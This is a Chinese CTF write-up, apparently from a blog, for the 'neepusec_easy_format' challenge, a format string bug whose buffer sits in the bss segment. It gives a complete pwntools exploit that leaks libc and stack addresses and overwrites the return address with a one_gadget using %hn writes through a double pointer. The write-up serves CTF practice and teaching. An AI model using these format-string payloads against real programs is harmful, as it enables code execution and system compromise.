fmt在bss段(neepusec_easy_format)

fmt在bss段(neepusec_easy_format)

1.gdb操作

  • vmapp

    在这里插入图片描述

  • stack

    在这里插入图片描述

  • retaddr

    在这里插入图片描述

2.思路

  1. 先泄漏能够泄漏的地址包括:当前站地址、libc地址

  2. 然后通过下面的指令进行地址写

    #这里是只要覆盖偏移为12的地址值的后两个字节
    debug()
    offset0 = ret&0xffff
    payload = '%'+str(offset0)+'c%12$hnxxxx\x00'
    p.sendline(payload)
    p.recvuntil('xxxx')
    debug()
    
    #这里覆盖偏移为25的地址值的后两个字节
    offset1 = one&0xffff
    payload = '%'+str(offset1) +'c%25$hnxxxx\x00'
    p.sendline(payload)
    p.recvuntil('xxxx')
    debug()
    
    #修改的永远是指针指向的值
    #############################################
    payload = '%'+str(offset0+2)+'c%12$hnxxxx\x00'
    p.sendline(payload)
    p.recvuntil('xxxx')
    
    debug()
    offset2 = 0xffff&(one>>16)
    payload = '%'+str(offset2) +'c%25$hnxxxx\x00'
    p.sendline(payload)
    p.recvuntil('xxxx')
    
  3. 修改流程

    1. 未修改前

      在这里插入图片描述

    2. 第一次修改

      在这里插入图片描述

    3. 第二次修改

      在这里插入图片描述

    4. 第三次修改

      在这里插入图片描述

  4. 注意!!!每次修改的值都是二级指针指向的值,不能直接修改

    在这里插入图片描述

3. exp

from pwn import *
from LibcSearcher import *

p = process('./pwn')
#p = remote('neepusec.club',18757)
elf = ELF('./pwn')
context.log_level = 'debug'
def debug():
    gdb.attach(p)
    pause()

payload = '\x00'
p.sendlineafter(':\n',payload)
p.send('aaaa%23$pbbbb%8$p')
p.recvuntil('aaaa0x')
__libc_start_main = int(p.recv(12),16)-231
log.success('__libc_start_main===>'+hex(__libc_start_main))
libc = LibcSearcher('__libc_start_main',__libc_start_main)
libc_base = __libc_start_main - libc.dump('__libc_start_main')
log.success('libc_base==>'+hex(libc_base))
one = [0x4f3d5,0x4f432,0x10a41c]
one = one[0]+libc_base
log.success('one==>'+hex(one))
p.recvuntil('bbbb0x')
ret = int(p.recv(12),16) + 8
log.success('ret==>'+hex(ret))
debug()
offset0 = ret&0xffff
payload = '%'+str(offset0)+'c%12$hnxxxx\x00'
p.sendline(payload)
p.recvuntil('xxxx')
debug()

offset1 = one&0xffff
payload = '%'+str(offset1) +'c%25$hnxxxx\x00'
p.sendline(payload)
p.recvuntil('xxxx')
debug()

payload = '%'+str(offset0+2)+'c%12$hnxxxx\x00'
p.sendline(payload)
p.recvuntil('xxxx')

debug()
offset2 = 0xffff&(one>>16)
payload = '%'+str(offset2) +'c%25$hnxxxx\x00'
p.sendline(payload)
p.recvuntil('xxxx')
debug()
p.sendline('ls')
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值